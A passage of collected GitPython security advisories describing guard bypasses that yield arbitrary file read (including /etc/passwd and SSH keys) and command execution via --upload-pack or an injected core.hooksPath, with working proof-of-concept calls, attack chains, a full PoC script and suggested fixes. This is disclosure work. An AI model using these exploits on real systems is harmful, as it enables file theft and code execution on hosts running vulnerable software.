GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call site git command that advisory's assessment
IndexFile.remove() rm --pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move() mv same
HEAD.reset() reset same
HEAD.checkout() checkout same

That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line
, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept
from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call site disclosed?
IndexFile.remove() → git rm yes, full file
Head.checkout() → git checkout yes, full file
HEAD.reset() → git reset no - git reset does not error on unmatched pathspecs
IndexFile.move() → git mv no

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution

CVE-2026-76220 / GHSA-wvpp-8hx9-p66j / PYSEC-2026-3843

More information

Details

Summary

The check_unsafe_options guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with split_single_char_options=False. The guard's candidate list omits the smuggled option, but transform_kwarg emits a JOINED -n<value> argv token that git parses as --upload-pack=<cmd>, yielding arbitrary command execution at the default allow_unsafe_options=False. This is an incomplete-fix bypass of commit e8d0fbf7 (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when split_single_char_options is True.

Root Cause

_option_candidates derives value-token candidates only under if len(key)==1 and split_single_char_options: (cmd.py:1048, added by e8d0fbf7). With split_single_char_options=False, _option_candidates([], {"n":"utouch <cmd>;git-upload-pack"}) returns only ['-n'] (not on the denylist), so the guard passes. But transform_kwarg('n', value, split_single_char_options=False) emits the JOINED token -nutouch <cmd>;git-upload-pack (cmd.py:1631). git clusters value-less short flags then parses -u<cmd> = --upload-pack=<cmd> → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.

Impact

Arbitrary OS command execution as the host process (via --upload-pack) at default allow_unsafe_options=False, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing split_single_char_options=False plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).

Proof of Concept
from git import Repo
Repo.clone_from(src, dst,
    n="utouch /tmp/ACE;git-upload-pack",
    split_single_char_options=False)   # /tmp/ACE created -> ACE
Attack Chain
  1. Entry: app forwards user kwargs to Repo.clone_from(url, path, **kwargs): {split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}.
  2. Check: check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options). Guard: denylist includes --upload-pack/-u. Bypass proof: _option_candidates yields only ['-n'] (value token skipped because split=False); guard never sees -u.
  3. Sink: transform_kwarg emits joined token (cmd.py:1631). argv (observed): ['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>'].
  4. Impact: git clusters -n + -u<cmd> → runs upload-pack command → ACE.
Bypass Evidence

Independently reproduced (gate harness, default allow_unsafe_options=False): the split=False payload created the marker VH05_GATE_ACE (ACE); the clone returned normally (guard bypassed). Control: n='--upload-pack=…' (split default True) → UnsafeOptionError: --upload-pack is not allowed. Fix-commit read: e8d0fbf7 extends candidates only under if len(key)==1 and split_single_char_options: — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit 56806080) does not cover this because the guard only ever receives ['-n'].

Affected Versions

GitPython <= 3.1.57 (code present verbatim on the latest release tag).

Suggested Fix

Make _option_candidates emit value-derived candidates regardless of split_single_char_options (i.e. also for the joined -n<value> form), OR run check_unsafe_options over the fully-transformed argv rather than the reconstructed name-only candidate list.


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE

CVE-2026-78676 / GHSA-284h-m62q-gf8w / PYSEC-2026-3786

More information

Details

  • CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument
  • Affected component: git/config.py — GitConfigParser._read() (multi-line value decoding, lines 444-541, esp. string_decode() at line 460 and its call sites at 519/541) and GitConfigParser._write()/write_section() (serialization, lines ~694-712, esp. line 708)
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability

GitPython added UNSAFE_CONFIG_CHARS_RE / _value_to_string_safe() / _assure_config_name_safe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #​2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), set_value(), add_value(), or add_section(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser._sections via _read() — i.e. values that came from parsing an on-disk config file. And _read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and string_decode() (.decode('unicode_escape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: write_section() (line ~694) calls the unsafe self._value_to_string(v) — not _value_to_string_safe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment write_section() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause

GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

Exploit path
  1. A .git/config (or any file merged into it via [include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:
    [core]
    	zzz = "A\nhooksPath = ../evil-hooks\
    "
    
    No raw \r, \n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real git config --get core.hookspath returns nothing at this point (inert); git config --get core.zzz returns the decoded string A\nhooksPath = ../evil-hooks, identically to GitPython's own reader.
  2. The host application opens this repo with GitPython (git.Repo(path), read_only=False implicitly for a normal config_writer() use) and performs any single, unrelated, legitimate config write on the same GitConfigParser instance — e.g. repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.
  3. GitConfigParser._write()/write_section() re-serializes every resident value, including the dormant zzz entry, using the unsafe path. The file on disk now contains, verbatim:
    [core]
    	...
    	zzz = A
    	hooksPath = ../evil-hooks
    
  4. Real git config --get core.hookspath now returns ../evil-hooks — a key that did not exist before step 2, created purely by GitPython's own write.
  5. The next hook-firing git operation (e.g. git commit) executes ../evil-hooks/pre-commit (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.
Impact

Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67 "Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.

Preconditions
  • A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like <anything>\n<injected-key> = <injected-value>. Realistic delivery:
    1. Pre-existing .git directory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve .git, "repo" tarball/zip distributions that include .git/config. The poisoned value sits directly in .git/config.
    2. The documented shared-config [include] pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) — GitConfigParser.read() merges included files' sections into the same _sections dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own .git/config to already reference the include, e.g. via project setup tooling that adds include.path).
    3. Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write — the exact trust-boundary the maintainers already accepted as realistic for GHSA-v87r-6q3f-2j67 (their writeup cites MLRun's project.push()).
  • No authentication/role requirement inside GitPython itself.
Evidence
  • git/config.py:460 (string_decode), invoked at git/config.py:519 and :541 inside _read()'s multi-line handling — decodes unicode_escape, turning a literal \n escape into a real embedded LF.
  • git/config.py:~694-712 (_write()/write_section()) — uses self._value_to_string(v) (unsafe variant) and .replace("\n", "\n\t") with no re-quoting.
  • c417af46 (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.
  • git log -S"string_decode", -S"write_section", -S'replace("\n", "\n\t")' on git/config.py show these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86, b825dc74, cb68eef0, 21ec5299), never by a security fix.
  • PoC (gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated config_writer() write → core.hookspath becomes live per real git config --get → a subsequent git commit executes the injected hook and writes a benign marker file.
False-positive check (adversarial re-read)
  • Is this just a repeat of the four already-fixed config-injection GHSAs? No — all four require the caller to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via _known-advisories.json (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.
  • Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a "normal" file)? Yes, confirmed empirically: after the same crafted .git/config is rewritten by real git config user.name Test2 (a control test), the multi-line zzz entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.
  • Is there a guard elsewhere that would catch the resulting bare hooksPath = ... line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally; core.hooksPath is honored unconditionally by git's hook-invocation machinery.
  • Does this require an unrealistic precondition? The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for GHSA-v87r-6q3f-2j67.
  • Verdict: no concrete blocker found. CONFIRMED — reproduced independently end-to-end (dormant value in place → benign unrelated config_writer() write → core.hookspath live per real git → hook fires on git commit, marker file written).
Remediation

Either (a) make write_section()/_write() use _value_to_string_safe() (or equivalent re-quoting) for every resident value, including those that originated from _read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach _sections at all if the parser is opened in read_only=False mode, or (c) canonicalize output using git's own git config --file <path> --replace-all semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of _value_to_string_safe() already used on the setter path.

Confidence

High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live core.hookspath → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.

Proof-of-Concept source (gitpython-002-poc.py)

#!/usr/bin/env python3
"""
GITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value
(standard quoted + backslash-continuation syntax, containing an escaped "\\n"
that decodes to a real embedded newline in memory) is corrupted into a NEW,
live config key the moment GitConfigParser re-serializes it during any
unrelated write. If the smuggled second "line" looks like
"hooksPath = <attacker path>", it becomes a real, active core.hooksPath after
one unrelated GitPython config write, and fires attacker code on the next
hook-triggering git operation (e.g. `git commit`).

This is CWE-88/CWE-94 style argument/config injection, but via the READ path
(a config file GitPython parses and later rewrites), not via a Python kwarg
argument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /
GHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all
guard the setter-argument surface only.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-002-poc.py <workdir>

Benign: only writes/reads inside <workdir>. The "malicious" hook just writes a
marker file; no destructive/exfiltrating payload. Exits non-zero and prints
"NOT VULNERABLE" if the corruption / hook does not fire.
"""
import os
import subprocess
import sys

def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-002-poc"
    repo_dir = os.path.join(workdir, "repo")
    hooks_dir = os.path.join(workdir, "evil-hooks")
    marker = os.path.join(workdir, "PWNED_MARKER.txt")

    for p in (repo_dir, hooks_dir):
        os.makedirs(p, exist_ok=True)
    if os.path.exists(marker):
        os.remove(marker)

    subprocess.run(["git", "init", "-q", "-b", "main", repo_dir], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True)
    subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test"], check=True)

    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value
    # inside [core] (before any other section). No raw CR/LF/NUL byte is
    # written to disk here -- this is standard git config quoting +
    # backslash-line-continuation, decoded by both real git and GitConfigParser
    # into the Python string 'A\nhooksPath = ../evil-hooks'.
    cfg_path = os.path.join(repo_dir, ".git", "config")
    with open(cfg_path) as f:
        original = f.read()
    poisoned_entry = '\tzzz = "A\\nhooksPath = ../evil-hooks\\\n"\n'
    # Insert right after the [core] header line so it lives in the same section.
    new_config = original.replace("[core]\n", "[core]\n" + poisoned_entry, 1)
    with open(cfg_path, "w") as f:
        f.write(new_config)

    # Confirm it's inert per real git before touching GitPython.
    pre = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if pre.returncode == 0:
        print("SETUP ERROR: core.hookspath already set before GitPython touched anything")
        sys.exit(2)

    # Malicious hook: benign marker only.
    hook_path = os.path.join(hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
        f.write('#!/bin/sh\necho "PWNED-VIA-GITPYTHON-CONFIG-INJECTION" > "%s"\nexit 0\n' % marker)
    os.chmod(hook_path, 0o755)

    import git  # gitpython under test

    repo = git.Repo(repo_dir)
    before = repo.config_reader().get_value("core", "zzz")
    print("core.zzz before any GitPython write =", repr(before))

    # ONE totally unrelated, benign write -- this is the only "attacker-adjacent"
    # action required, and it is something virtually every GitPython consumer
    # does routinely (setting an option, adding a remote, updating a branch's
    # tracking config, ...).
    with repo.config_writer() as cw:
        cw.set_value("user", "name", "Test User")

    post = subprocess.run(
        ["git", "-C", repo_dir, "config", "--get", "core.hookspath"],
        capture_output=True, text=True,
    )
    if post.returncode != 0:
        print("NOT VULNERABLE: core.hookspath still absent after the unrelated write")
        sys.exit(1)

    injected_path = post.stdout.strip()
    print("core.hookspath is now LIVE after one unrelated write:", injected_path)

    # Trigger the hook with a normal commit to prove it fires.
    with open(os.path.join(repo_dir, "file2.txt"), "w") as f:
        f.write("change\n")
    subprocess.run(["git", "-C", repo_dir, "add", "file2.txt"], check=True)
    subprocess.run(
        ["git", "-C", repo_dir, "-c", "user.email=t@example.com", "-c", "user.name=T",
         "commit", "-q", "-m", "trigger hook"],
        check=True,
    )

    if os.path.isfile(marker):
        with open(marker) as f:
            content = f.read().strip()
        print("VULNERABLE: hook fired, marker content =", content)
        sys.exit(0)
    else:
        print("NOT VULNERABLE: hook did not fire")
        sys.exit(1)

if __name__ == "__main__":
    main()

Severity

  • CVSS Score: 9.3 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)

CVE-2026-78679 / GHSA-3wxw-xv34-2frg / PYSEC-2026-3837

More information

Details

Summary

TagReference.create() forwards a caller-influenced positional reference value into git tag without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit 3af0c251 (the fix for GHSA-3f7w-8rr8-f37f's tag instance).

Root Cause

The fix 3af0c251 added unsafe_git_tag_options = ["--file","-F"] and a guard call, but the guard is Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...) at git/refs/tag.py:139 — it passes an EMPTY args list and inspects kwargs only. The dangerous values path and reference are POSITIONALS (args = (path, reference), tag.py:156), placed before any --. A user-influenced reference="--file=<path>" therefore reaches git tag as the exact --file option the fix intended to block, creating an annotated tag whose message is the file's contents.

Impact

Arbitrary local file read at the privileges of the host process; contents returned in-band via tagref.tag.message. Requires the embedding application to forward a caller-influenced reference value into TagReference.create() (pure VALUE control — the CVE-2026-42215 threat model). Default allow_unsafe_options=False.

Proof of Concept
from git import TagReference
t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa")
print(t.tag.message)   # contents of the file
Attack Chain
  1. Entry: app calls TagReference.create(repo, name, reference=<user>) with reference="--file=/home/app/.ssh/id_rsa".
  2. Check: Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"]) @​ tag.py:137-141. Guard: denylist includes --file/-F. Bypass proof: _option_candidates receives args=[] → the positional reference is never a candidate (the kwarg spelling file="…" IS blocked; only the positional escapes).
  3. Sink: repo.git.tag(*args, **kwargs) @​ tag.py:158 → no --. argv (observed): ['git','tag','-f','vpwn','--file=<secret>'].
  4. Impact: annotated tag created; tagref.tag.message == file contents (arbitrary file read).
Bypass Evidence

Independently reproduced (independent test harness, git 2.43.0, default allow_unsafe_options=False): TagReference.create(repo,'vp','--file=<secret>') → PASSED; tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control: TagReference.create(..., file='<secret>') → UnsafeOptionError: --file is not allowed. Fix-commit read: 3af0c251 adds _option_candidates([], kwargs) (empty args → positional never a candidate).

Affected Versions

GitPython <= 3.1.58 (sink present verbatim on the latest release tag; git diff 3.1.57..HEAD touches only test files).

Suggested Fix

Include the positional reference (and path) in the option-candidate list passed to check_unsafe_options, or place a -- separator before the positional arguments in TagReference.create().


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()

CVE-2026-78678 / GHSA-5xxx-qhh7-9287 / PYSEC-2026-3788

More information

Details

Summary

Repo.blame() / Repo.blame_incremental() guard forwarded revision options against unsafe_git_revision_options, but that denylist only contains the file-WRITE options --output/-o. git blame also honors --contents <file> and -S <file>, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of --contents=<path> passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame --output WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).

Root Cause

unsafe_git_revision_options = ["--output","-o"] (git/repo/base.py:188). The rev string is passed to _option_candidates([rev], kwargs) and placed BEFORE the -- separator (base.py:841). The canonical name of --contents=... is contents, which is not on the denylist, so no UnsafeOptionError is raised. The trailing -- protects only the pathspec, not the option before the revision.

Impact

Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default allow_unsafe_options=False.

Proof of Concept
result = repo.blame("--contents=/etc/passwd", "a.txt")

##### result rows carry the victim file's line text
Attack Chain
  1. Entry: app calls repo.blame(rev, file) with attacker rev="--contents=/etc/passwd" (or kwarg contents="/etc/passwd", or -S).
  2. Check: Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options) @​ base.py:841. Guard: denylist = ["--output","-o"] only. Bypass proof: canonical name contents ∉ denylist → no error.
  3. Sink: self.git.blame(rev, "--", file, p=True, ...). argv (observed): ['git','blame','-p','--contents=<secret>','HEAD','--','a.txt'].
  4. Impact: blame result rows carry the victim file's line text.
Bypass Evidence

Independently reproduced (independent test harness, default allow_unsafe_options=False): blame('--contents=<secret>','a.txt') → guard PASSED; result rows = ['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']. Control: blame('--output=…') still BLOCKED (guard active on this path). -S kwarg argv also reaches git unguarded.

Affected Versions

GitPython <= 3.1.58 (denylist present verbatim on the latest release tag).

Suggested Fix

Prefer an allowlist of blame options; at minimum add --contents/-S (and any other path-taking blame options) to unsafe_git_revision_options, and make the membership rule "the option takes a filesystem path" rather than "the option writes output".


Reported by zx (Jace) — GitHub: @​manus-use

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

CVE-2026-78675 / GHSA-7833-fr7j-v32q / PYSEC-2026-3785

More information

Details

[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
  • CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
  • Affected component: git/objects/submodule/base.py, Submodule._config_parser() (~line 273) constructing SubmoduleConfigParser(fp_module, read_only=read_only); git/config.py, GitConfigParser.__init__ (merge_includes default), GitConfigParser.read()/_included_paths() (include-path resolution, ~lines 630-685), GitConfigParser._read() (~line 493-498, MissingSectionHeaderError)
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability

GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).

That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.

GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.

Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.

Root cause

Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)

Exploit path
  1. Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus:
    [include]
    	path = /etc/passwd
    
    (an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too).
  2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required.
  3. SubmoduleConfigParser (inheriting merge_includes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser._read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim.
  4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact

Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).

Preconditions
  • Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).
  • Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout.
  • No authentication/role requirement inside GitPython itself.
Evidence
  • git/config.py — GitConfigParser.__init__ defaults merge_includes=True.
  • git/objects/submodule/base.py:273 — SubmoduleConfigParser(fp_module, read_only=read_only) passes neither merge_includes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.config_writer(), never this call site.
  • git/config.py _included_paths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path.
  • git/config.py _read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own __str__ behavior.
  • Submodule.iter_items() catches only (IOError, BadName) — configparser.Error (the base of MissingSectionHeaderError) is not swallowed.
  • PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.
False-positive check (adversarial re-read)
  • Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving _module_abspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).
  • Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution.
